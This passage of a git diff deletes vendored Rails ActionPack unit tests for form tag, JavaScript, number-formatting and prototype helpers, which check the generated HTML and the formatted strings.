-        Post.new("Cabe went home", "Cabe", "To a little house", "shh!") ]
-    end
-end
diff --git a/vendor/rails/actionpack/test/template/form_tag_helper_test.rb b/vendor/rails/actionpack/test/template/form_tag_helper_test.rb
deleted file mode 100644
index 95778ac6..00000000
--- a/vendor/rails/actionpack/test/template/form_tag_helper_test.rb
+++ /dev/null
@@ -1,356 +0,0 @@
-require 'abstract_unit'
-
-class FormTagHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::FormTagHelper
-
-  def setup
-    @controller = Class.new do
-      def url_for(options)
-        "http://www.example.com"
-      end
-    end
-    @controller = @controller.new
-  end
-
-  VALID_HTML_ID = /^[A-Za-z][-_:.A-Za-z0-9]*$/ # see http://www.w3.org/TR/html4/types.html#type-name
-
-  def test_check_box_tag
-    actual = check_box_tag "admin"
-    expected = %(<input id="admin" name="admin" type="checkbox" value="1" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_check_box_tag_id_sanitized
-    label_elem = root_elem(check_box_tag("project[2][admin]"))
-    assert_match VALID_HTML_ID, label_elem['id']
-  end
-
-  def test_form_tag
-    actual = form_tag
-    expected = %(<form action="http://www.example.com" method="post">)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_multipart
-    actual = form_tag({}, { 'multipart' => true })
-    expected = %(<form action="http://www.example.com" enctype="multipart/form-data" method="post">)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_put
-    actual = form_tag({}, { :method => :put })
-    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="put" /></div>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_method_delete
-    actual = form_tag({}, { :method => :delete })
-    expected = %(<form action="http://www.example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="delete" /></div>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_form_tag_with_block_in_erb
-    __in_erb_template = ''
-    form_tag("http://example.com") { concat "Hello world!" }
-
-    expected = %(<form action="http://example.com" method="post">Hello world!</form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_tag_with_block_and_method_in_erb
-    __in_erb_template = ''
-    form_tag("http://example.com", :method => :put) { concat "Hello world!" }
-
-    expected = %(<form action="http://example.com" method="post"><div style='margin:0;padding:0;display:inline'><input type="hidden" name="_method" value="put" /></div>Hello world!</form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_hidden_field_tag
-    actual = hidden_field_tag "id", 3
-    expected = %(<input id="id" name="id" type="hidden" value="3" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_hidden_field_tag_id_sanitized
-    input_elem = root_elem(hidden_field_tag("item[][title]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_file_field_tag
-    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" />", file_field_tag("picsplz")
-  end
-
-  def test_file_field_tag_with_options
-    assert_dom_equal "<input name=\"picsplz\" type=\"file\" id=\"picsplz\" class=\"pix\"/>", file_field_tag("picsplz", :class => "pix")
-  end
-
-  def test_password_field_tag
-    actual = password_field_tag
-    expected = %(<input id="password" name="password" type="password" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_radio_button_tag
-    actual = radio_button_tag "people", "david"
-    expected = %(<input id="people_david" name="people" type="radio" value="david" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("num_people", 5)
-    expected = %(<input id="num_people_5" name="num_people" type="radio" value="5" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("gender", "m") + radio_button_tag("gender", "f")
-    expected = %(<input id="gender_m" name="gender" type="radio" value="m" /><input id="gender_f" name="gender" type="radio" value="f" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("opinion", "-1") + radio_button_tag("opinion", "1")
-    expected = %(<input id="opinion_-1" name="opinion" type="radio" value="-1" /><input id="opinion_1" name="opinion" type="radio" value="1" />)
-    assert_dom_equal expected, actual
-
-    actual = radio_button_tag("person[gender]", "m")
-    expected = %(<input id="person_gender_m" name="person[gender]" type="radio" value="m" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag
-    actual = select_tag "people", "<option>david</option>".html_safe
-    expected = %(<select id="people" name="people"><option>david</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_with_multiple
-    actual = select_tag "colors", "<option>Red</option><option>Blue</option><option>Green</option>".html_safe, :multiple => :true
-    expected = %(<select id="colors" multiple="multiple" name="colors"><option>Red</option><option>Blue</option><option>Green</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_disabled
-    actual = select_tag "places", "<option>Home</option><option>Work</option><option>Pub</option>".html_safe, :disabled => :true
-    expected = %(<select id="places" disabled="disabled" name="places"><option>Home</option><option>Work</option><option>Pub</option></select>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_select_tag_id_sanitized
-    input_elem = root_elem(select_tag("project[1]people", "<option>david</option>"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_select_tag_with_array_options
-    assert_deprecated /array/ do
-      select_tag "people", ["<option>david</option>"]
-    end
-  end
-
-  def test_text_area_tag_size_string
-    actual = text_area_tag "body", "hello world", "size" => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_size_symbol
-    actual = text_area_tag "body", "hello world", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">hello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_should_disregard_size_if_its_given_as_an_integer
-    actual = text_area_tag "body", "hello world", :size => 20
-    expected = %(<textarea id="body" name="body">hello world</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_id_sanitized
-    input_elem = root_elem(text_area_tag("item[][description]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_text_area_tag_escape_content
-    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40"
-    expected = %(<textarea cols="20" id="body" name="body" rows="40">&lt;b&gt;hello world&lt;/b&gt;</textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_unescaped_content
-    actual = text_area_tag "body", "<b>hello world</b>", :size => "20x40", :escape => false
-    expected = %(<textarea cols="20" id="body" name="body" rows="40"><b>hello world</b></textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_area_tag_unescaped_nil_content
-    actual = text_area_tag "body", nil, :escape => false
-    expected = %(<textarea id="body" name="body"></textarea>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag
-    actual = text_field_tag "title", "Hello!"
-    expected = %(<input id="title" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_class_string
-    actual = text_field_tag "title", "Hello!", "class" => "admin"
-    expected = %(<input class="admin" id="title" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_size_symbol
-    actual = text_field_tag "title", "Hello!", :size => 75
-    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_size_string
-    actual = text_field_tag "title", "Hello!", "size" => "75"
-    expected = %(<input id="title" name="title" size="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_maxlength_symbol
-    actual = text_field_tag "title", "Hello!", :maxlength => 75
-    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_maxlength_string
-    actual = text_field_tag "title", "Hello!", "maxlength" => "75"
-    expected = %(<input id="title" name="title" maxlength="75" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_disabled
-    actual = text_field_tag "title", "Hello!", :disabled => :true
-    expected = %(<input id="title" name="title" disabled="disabled" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_with_multiple_options
-    actual = text_field_tag "title", "Hello!", :size => 70, :maxlength => 80
-    expected = %(<input id="title" name="title" size="70" maxlength="80" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_text_field_tag_id_sanitized
-    input_elem = root_elem(text_field_tag("item[][title]"))
-    assert_match VALID_HTML_ID, input_elem['id']
-  end
-
-  def test_label_tag_without_text
-    actual = label_tag "title"
-    expected = %(<label for="title">Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_with_symbol
-    actual = label_tag :title
-    expected = %(<label for="title">Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_with_text
-    actual = label_tag "title", "My Title"
-    expected = %(<label for="title">My Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_class_string
-    actual = label_tag "title", "My Title", "class" => "small_label"
-    expected = %(<label for="title" class="small_label">My Title</label>)
-    assert_dom_equal expected, actual
-  end
-
-  def test_label_tag_id_sanitized
-    label_elem = root_elem(label_tag("item[title]"))
-    assert_match VALID_HTML_ID, label_elem['for']
-  end
-
-  def test_boolean_options
-    assert_dom_equal %(<input checked="checked" disabled="disabled" id="admin" name="admin" readonly="readonly" type="checkbox" value="1" />), check_box_tag("admin", 1, true, 'disabled' => true, :readonly => "yes")
-    assert_dom_equal %(<input checked="checked" id="admin" name="admin" type="checkbox" value="1" />), check_box_tag("admin", 1, true, :disabled => false, :readonly => nil)
-    assert_dom_equal %(<input type="checkbox" />), tag(:input, :type => "checkbox", :checked => false)
-    assert_dom_equal %(<select id="people" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => true)
-    assert_dom_equal %(<select id="people_" multiple="multiple" name="people[]"><option>david</option></select>), select_tag("people[]", "<option>david</option>".html_safe, :multiple => true)
-    assert_dom_equal %(<select id="people" name="people"><option>david</option></select>), select_tag("people", "<option>david</option>".html_safe, :multiple => nil)
-  end
-
-  def test_stringify_symbol_keys
-    actual = text_field_tag "title", "Hello!", :id => "admin"
-    expected = %(<input id="admin" name="title" type="text" value="Hello!" />)
-    assert_dom_equal expected, actual
-  end
-
-  def test_submit_tag
-    assert_dom_equal(
-      %(<input name='commit' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';alert('hello!');result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...", :onclick => "alert('hello!')")
-    )
-  end
-
-  def test_submit_tag_with_no_onclick_options
-    assert_dom_equal(
-      %(<input name='commit' onclick="if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...")
-    )
-  end
-
-  def test_submit_tag_with_confirmation
-    assert_dom_equal(
-      %(<input name='commit' type='submit' value='Save' onclick="if (!confirm('Are you sure?')) return false; return true;"/>),
-      submit_tag("Save", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_submit_tag_with_confirmation_and_with_disable_with
-    assert_dom_equal(
-      %(<input name="commit" onclick="if (!confirm('Are you sure?')) return false; if (window.hiddenCommit) { window.hiddenCommit.setAttribute('value', this.value); }else { hiddenCommit = document.createElement('input');hiddenCommit.type = 'hidden';hiddenCommit.value = this.value;hiddenCommit.name = this.name;this.form.appendChild(hiddenCommit); }this.setAttribute('originalValue', this.value);this.disabled = true;this.value='Saving...';result = (this.form.onsubmit ? (this.form.onsubmit() ? this.form.submit() : false) : this.form.submit());if (result == false) { this.value = this.getAttribute('originalValue');this.disabled = false; }return result;" type="submit" value="Save" />),
-      submit_tag("Save", :disable_with => "Saving...", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_image_submit_tag_with_confirmation
-    assert_dom_equal(
-      %(<input type="image" src="/images/save.gif" onclick="return confirm('Are you sure?');"/>),
-      image_submit_tag("save.gif", :confirm => "Are you sure?")
-    )
-  end
-
-  def test_pass
-    assert_equal 1, 1
-  end
-
-  def test_field_set_tag_in_erb
-    __in_erb_template = ''
-    field_set_tag("Your details") { concat "Hello world!" }
-
-    expected = %(<fieldset><legend>Your details</legend>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    self.output_buffer = ''.html_safe
-    field_set_tag { concat "Hello world!" }
-
-    expected = %(<fieldset>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    self.output_buffer = ''.html_safe
-    field_set_tag('') { concat "Hello world!" }
-
-    expected = %(<fieldset>Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-
-    self.output_buffer = ''.html_safe
-    field_set_tag('', :class => 'format') { concat "Hello world!" }
-
-    expected = %(<fieldset class="format">Hello world!</fieldset>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def protect_against_forgery?
-    false
-  end
-
-  private
-
-  def root_elem(rendered_content)
-    HTML::Document.new(rendered_content).root.children[0]
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/javascript_helper_test.rb b/vendor/rails/actionpack/test/template/javascript_helper_test.rb
deleted file mode 100644
index d2fb24e3..00000000
--- a/vendor/rails/actionpack/test/template/javascript_helper_test.rb
+++ /dev/null
@@ -1,106 +0,0 @@
-require 'abstract_unit'
-
-class JavaScriptHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::JavaScriptHelper
-
-  attr_accessor :template_format, :output_buffer
-
-  def setup
-    @template = self
-  end
-
-  def test_escape_javascript
-    assert_equal '', escape_javascript(nil)
-    assert_equal %(This \\"thing\\" is really\\n netos\\'), escape_javascript(%(This "thing" is really\n netos'))
-    assert_equal %(backslash\\\\test), escape_javascript( %(backslash\\test) )
-    assert_equal %(dont <\\/close> tags), escape_javascript(%(dont </close> tags))
-  end
-
-  def test_link_to_function
-    assert_dom_equal %(<a href="#" onclick="alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')")
-  end
-
-  def test_link_to_function_with_existing_onclick
-    assert_dom_equal %(<a href="#" onclick="confirm('Sanity!'); alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')", :onclick => "confirm('Sanity!')")
-  end
-
-  def test_link_to_function_with_rjs_block
-    html = link_to_function( "Greet me!" ) do |page|
-      page.replace_html 'header', "<h1>Greetings</h1>"
-    end
-    assert_dom_equal %(<a href="#" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C/h1\\u003E&quot;);; return false;">Greet me!</a>), html
-  end
-
-  def test_link_to_function_with_rjs_block_and_options
-    html = link_to_function( "Greet me!", :class => "updater" ) do |page|
-      page.replace_html 'header', "<h1>Greetings</h1>"
-    end
-    assert_dom_equal %(<a href="#" class="updater" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C/h1\\u003E&quot;);; return false;">Greet me!</a>), html
-  end
-
-  def test_link_to_function_with_href
-    assert_dom_equal %(<a href="http://example.com/" onclick="alert('Hello world!'); return false;">Greeting</a>),
-      link_to_function("Greeting", "alert('Hello world!')", :href => 'http://example.com/')
-  end
-
-  def test_button_to_function
-    assert_dom_equal %(<input type="button" onclick="alert('Hello world!');" value="Greeting" />),
-      button_to_function("Greeting", "alert('Hello world!')")
-  end
-
-  def test_button_to_function_with_rjs_block
-    html = button_to_function( "Greet me!" ) do |page|
-      page.replace_html 'header', "<h1>Greetings</h1>"
-    end
-    assert_dom_equal %(<input type="button" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C/h1\\u003E&quot;);;" value="Greet me!" />), html
-  end
-
-  def test_button_to_function_with_rjs_block_and_options
-    html = button_to_function( "Greet me!", :class => "greeter" ) do |page|
-      page.replace_html 'header', "<h1>Greetings</h1>"
-    end
-    assert_dom_equal %(<input type="button" class="greeter" onclick="Element.update(&quot;header&quot;, &quot;\\u003Ch1\\u003EGreetings\\u003C\/h1\\u003E&quot;);;" value="Greet me!" />), html
-  end
-
-  def test_button_to_function_with_onclick
-    assert_dom_equal "<input onclick=\"alert('Goodbye World :('); alert('Hello world!');\" type=\"button\" value=\"Greeting\" />",
-      button_to_function("Greeting", "alert('Hello world!')", :onclick => "alert('Goodbye World :(')")
-  end
-
-  def test_button_to_function_without_function
-    assert_dom_equal "<input onclick=\";\" type=\"button\" value=\"Greeting\" />",
-      button_to_function("Greeting")
-  end
-
-  def test_javascript_tag
-    self.output_buffer = 'foo'
-
-    assert_dom_equal "<script type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
-      javascript_tag("alert('hello')")
-
-    assert_equal 'foo', output_buffer, 'javascript_tag without a block should not concat to output_buffer'
-  end
-
-  def test_javascript_tag_with_options
-    assert_dom_equal "<script id=\"the_js_tag\" type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>",
-      javascript_tag("alert('hello')", :id => "the_js_tag")
-  end
-
-  def test_javascript_tag_with_block_in_erb
-    __in_erb_template = ''
-    javascript_tag { concat "alert('hello')" }
-    assert_dom_equal "<script type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>", output_buffer
-  end
-
-  def test_javascript_tag_with_block_and_options_in_erb
-    __in_erb_template = ''
-    javascript_tag(:id => "the_js_tag") { concat "alert('hello')" }
-    assert_dom_equal "<script id=\"the_js_tag\" type=\"text/javascript\">\n//<![CDATA[\nalert('hello')\n//]]>\n</script>", output_buffer
-  end
-
-  def test_javascript_cdata_section
-    assert_dom_equal "\n//<![CDATA[\nalert('hello')\n//]]>\n", javascript_cdata_section("alert('hello')")
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb b/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb
deleted file mode 100644
index bf5b8129..00000000
--- a/vendor/rails/actionpack/test/template/number_helper_i18n_test.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'abstract_unit'
-
-class NumberHelperI18nTests < Test::Unit::TestCase
-  include ActionView::Helpers::NumberHelper
-
-  attr_reader :request
-
-  def setup
-    @number_defaults = { :precision => 3, :delimiter => ',', :separator => '.' }
-    @currency_defaults = { :unit => '$', :format => '%u%n', :precision => 2 }
-    @human_defaults = { :precision => 1 }
-    @human_storage_units_format_default = "%n %u"
-    @human_storage_units_units_byte_other = "Bytes"
-    @human_storage_units_units_kb_other = "KB"
-    @percentage_defaults = { :delimiter => '' }
-    @precision_defaults = { :delimiter => '' }
-
-    I18n.backend.store_translations 'en', :number => { :format => @number_defaults,
-      :currency => { :format => @currency_defaults }, :human => @human_defaults }
-  end
-
-  def test_number_to_currency_translates_currency_formats
-    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-    I18n.expects(:translate).with(:'number.currency.format', :locale => 'en',
-                                  :raise => true).returns(@currency_defaults)
-    number_to_currency(1, :locale => 'en')
-  end
-
-  def test_number_with_precision_translates_number_formats
-    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-    I18n.expects(:translate).with(:'number.precision.format', :locale => 'en',
-                                  :raise => true).returns(@precision_defaults)
-    number_with_precision(1, :locale => 'en')
-  end
-
-  def test_number_with_delimiter_translates_number_formats
-    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-    number_with_delimiter(1, :locale => 'en')
-  end
-
-  def test_number_to_percentage_translates_number_formats
-    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-    I18n.expects(:translate).with(:'number.percentage.format', :locale => 'en',
-                                  :raise => true).returns(@percentage_defaults)
-    number_to_percentage(1, :locale => 'en')
-  end
-
-  def test_number_to_human_size_translates_human_formats
-    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-    I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
-                                  :raise => true).returns(@human_defaults)
-    I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
-                                  :raise => true).returns(@human_storage_units_format_default)
-    I18n.expects(:translate).with(:'number.human.storage_units.units.kb', :locale => 'en', :count => 2,
-                                  :raise => true).returns(@human_storage_units_units_kb_other)
-    # 2KB
-    number_to_human_size(2048, :locale => 'en')
-
-    I18n.expects(:translate).with(:'number.format', :locale => 'en', :raise => true).returns(@number_defaults)
-    I18n.expects(:translate).with(:'number.human.format', :locale => 'en',
-                                  :raise => true).returns(@human_defaults)
-    I18n.expects(:translate).with(:'number.human.storage_units.format', :locale => 'en',
-                                  :raise => true).returns(@human_storage_units_format_default)
-    I18n.expects(:translate).with(:'number.human.storage_units.units.byte', :locale => 'en', :count => 42,
-                                  :raise => true).returns(@human_storage_units_units_byte_other)
-    # 42 Bytes
-    number_to_human_size(42, :locale => 'en')
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/number_helper_test.rb b/vendor/rails/actionpack/test/template/number_helper_test.rb
deleted file mode 100644
index b6542ef2..00000000
--- a/vendor/rails/actionpack/test/template/number_helper_test.rb
+++ /dev/null
@@ -1,132 +0,0 @@
-require 'abstract_unit'
-
-class NumberHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::NumberHelper
-
-  def test_number_to_phone
-    assert_equal("555-1234", number_to_phone(5551234))
-    assert_equal("800-555-1212", number_to_phone(8005551212))
-    assert_equal("(800) 555-1212", number_to_phone(8005551212, {:area_code => true}))
-    assert_equal("800 555 1212", number_to_phone(8005551212, {:delimiter => " "}))
-    assert_equal("(800) 555-1212 x 123", number_to_phone(8005551212, {:area_code => true, :extension => 123}))
-    assert_equal("800-555-1212", number_to_phone(8005551212, :extension => "  "))
-    assert_equal("800-555-1212", number_to_phone("8005551212"))
-    assert_equal("+1-800-555-1212", number_to_phone(8005551212, :country_code => 1))
-    assert_equal("+18005551212", number_to_phone(8005551212, :country_code => 1, :delimiter => ''))
-    assert_equal("22-555-1212", number_to_phone(225551212))
-    assert_equal("+45-22-555-1212", number_to_phone(225551212, :country_code => 45))
-    assert_equal("x", number_to_phone("x"))
-    assert_nil number_to_phone(nil)
-  end
-
-  def test_number_to_currency
-    assert_equal("$1,234,567,890.50", number_to_currency(1234567890.50))
-    assert_equal("$1,234,567,890.51", number_to_currency(1234567890.506))
-    assert_equal("$1,234,567,892", number_to_currency(1234567891.50, {:precision => 0}))
-    assert_equal("$1,234,567,890.5", number_to_currency(1234567890.50, {:precision => 1}))
-    assert_equal("&pound;1234567890,50", number_to_currency(1234567890.50, {:unit => "&pound;", :separator => ",", :delimiter => ""}))
-    assert_equal("$1,234,567,890.50", number_to_currency("1234567890.50"))
-    assert_equal("1,234,567,890.50 K&#269;", number_to_currency("1234567890.50", {:unit => "K&#269;", :format => "%n %u"}))
-    #assert_equal("$x.", number_to_currency("x")) # fails due to API consolidation
-    assert_equal("$x", number_to_currency("x"))
-    assert_nil number_to_currency(nil)
-  end
-
-  def test_number_to_percentage
-    assert_equal("100.000%", number_to_percentage(100))
-    assert_equal("100%", number_to_percentage(100, {:precision => 0}))
-    assert_equal("302.06%", number_to_percentage(302.0574, {:precision => 2}))
-    assert_equal("100.000%", number_to_percentage("100"))
-    assert_equal("1000.000%", number_to_percentage("1000"))
-    assert_equal("x%", number_to_percentage("x"))
-    assert_equal("1.000,000%", number_to_percentage(1000, :delimiter => '.', :separator => ','))
-    assert_nil number_to_percentage(nil)
-  end
-
-  def test_number_with_delimiter
-    assert_equal("12,345,678", number_with_delimiter(12345678))
-    assert_equal("0", number_with_delimiter(0))
-    assert_equal("123", number_with_delimiter(123))
-    assert_equal("123,456", number_with_delimiter(123456))
-    assert_equal("123,456.78", number_with_delimiter(123456.78))
-    assert_equal("123,456.789", number_with_delimiter(123456.789))
-    assert_equal("123,456.78901", number_with_delimiter(123456.78901))
-    assert_equal("123,456,789.78901", number_with_delimiter(123456789.78901))
-    assert_equal("0.78901", number_with_delimiter(0.78901))
-    assert_equal("123,456.78", number_with_delimiter("123456.78"))
-    assert_equal("x", number_with_delimiter("x"))
-    assert_nil number_with_delimiter(nil)
-  end
-
-  def test_number_with_delimiter_with_options_hash
-    assert_equal '12 345 678', number_with_delimiter(12345678, :delimiter => ' ')
-    assert_equal '12,345,678-05', number_with_delimiter(12345678.05, :separator => '-')
-    assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :separator => ',', :delimiter => '.')
-    assert_equal '12.345.678,05', number_with_delimiter(12345678.05, :delimiter => '.', :separator => ',')
-  end
-
-  def test_number_with_precision
-    assert_equal("111.235", number_with_precision(111.2346))
-    assert_equal("31.83", number_with_precision(31.825, :precision => 2))
-    assert_equal("111.23", number_with_precision(111.2346, :precision => 2))
-    assert_equal("111.00", number_with_precision(111, :precision => 2))
-    assert_equal("111.235", number_with_precision("111.2346"))
-    assert_equal("31.83", number_with_precision("31.825", :precision => 2))
-    assert_equal("112", number_with_precision(111.50, :precision => 0))
-    assert_equal("1234567892", number_with_precision(1234567891.50, :precision => 0))
-
-    # Return non-numeric params unchanged.
-    assert_equal("x", number_with_precision("x"))
-    assert_nil number_with_precision(nil)
-  end
-
-  def test_number_with_precision_with_custom_delimiter_and_separator
-    assert_equal '31,83',       number_with_precision(31.825, :precision => 2, :separator => ',')
-    assert_equal '1.231,83',    number_with_precision(1231.825, :precision => 2, :separator => ',', :delimiter => '.')
-  end
-
-  def test_number_to_human_size
-    assert_equal '0 Bytes',   number_to_human_size(0)
-    assert_equal '1 Byte',    number_to_human_size(1)
-    assert_equal '3 Bytes',   number_to_human_size(3.14159265)
-    assert_equal '123 Bytes', number_to_human_size(123.0)
-    assert_equal '123 Bytes', number_to_human_size(123)
-    assert_equal '1.2 KB',    number_to_human_size(1234)
-    assert_equal '12.1 KB',   number_to_human_size(12345)
-    assert_equal '1.2 MB',    number_to_human_size(1234567)
-    assert_equal '1.1 GB',    number_to_human_size(1234567890)
-    assert_equal '1.1 TB',    number_to_human_size(1234567890123)
-    assert_equal '1025 TB',   number_to_human_size(1025.terabytes)
-    assert_equal '444 KB',    number_to_human_size(444.kilobytes)
-    assert_equal '1023 MB',   number_to_human_size(1023.megabytes)
-    assert_equal '3 TB',      number_to_human_size(3.terabytes)
-    assert_equal '1.18 MB',   number_to_human_size(1234567, :precision => 2)
-    assert_equal '3 Bytes',   number_to_human_size(3.14159265, :precision => 4)
-    assert_equal("123 Bytes", number_to_human_size("123"))
-    assert_equal '1.01 KB',   number_to_human_size(1.0123.kilobytes, :precision => 2)
-    assert_equal '1.01 KB',   number_to_human_size(1.0100.kilobytes, :precision => 4)
-    assert_equal '10 KB',   number_to_human_size(10.000.kilobytes, :precision => 4)
-    assert_equal '1 Byte',   number_to_human_size(1.1)
-    assert_equal '10 Bytes', number_to_human_size(10)
-    #assert_nil number_to_human_size('x') # fails due to API consolidation
-    assert_nil number_to_human_size(nil)
-  end
-
-  def test_number_to_human_size_with_options_hash
-    assert_equal '1.18 MB',   number_to_human_size(1234567, :precision => 2)
-    assert_equal '3 Bytes',   number_to_human_size(3.14159265, :precision => 4)
-    assert_equal '1.01 KB',   number_to_human_size(1.0123.kilobytes, :precision => 2)
-    assert_equal '1.01 KB',   number_to_human_size(1.0100.kilobytes, :precision => 4)
-    assert_equal '10 KB',     number_to_human_size(10.000.kilobytes, :precision => 4)
-    assert_equal '1 TB', number_to_human_size(1234567890123, :precision => 0)
-    assert_equal '500 MB', number_to_human_size(524288000, :precision=>0)
-    assert_equal '40 KB', number_to_human_size(41010, :precision => 0)
-    assert_equal '40 KB', number_to_human_size(41100, :precision => 0)
-  end
-
-  def test_number_to_human_size_with_custom_delimiter_and_separator
-    assert_equal '1,01 KB',     number_to_human_size(1.0123.kilobytes, :precision => 2, :separator => ',')
-    assert_equal '1,01 KB',     number_to_human_size(1.0100.kilobytes, :precision => 4, :separator => ',')
-    assert_equal '1.000,1 TB',  number_to_human_size(1000.1.terabytes, :delimiter => '.', :separator => ',')
-  end
-end
diff --git a/vendor/rails/actionpack/test/template/prototype_helper_test.rb b/vendor/rails/actionpack/test/template/prototype_helper_test.rb
deleted file mode 100644
index 3bcf5327..00000000
--- a/vendor/rails/actionpack/test/template/prototype_helper_test.rb
+++ /dev/null
@@ -1,639 +0,0 @@
-require 'abstract_unit'
-
-Bunny = Struct.new(:Bunny, :id)
-
-class Author
-  attr_reader :id
-  def save; @id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    @id.nil? ? 'new author' : "author ##{@id}"
-  end
-end
-
-class Article
-  attr_reader :id
-  attr_reader :author_id
-  def save; @id = 1; @author_id = 1 end
-  def new_record?; @id.nil? end
-  def name
-    @id.nil? ? 'new article' : "article ##{@id}"
-  end
-end
-
-class Author::Nested < Author; end
-
-
-class PrototypeHelperBaseTest < ActionView::TestCase
-  attr_accessor :template_format, :output_buffer
-
-  def setup
-    @template = self
-    @controller = Class.new do
-      def url_for(options)
-        if options.is_a?(String)
-          options
-        else
-          url =  "http://www.example.com/"
-          url << options[:action].to_s if options and options[:action]
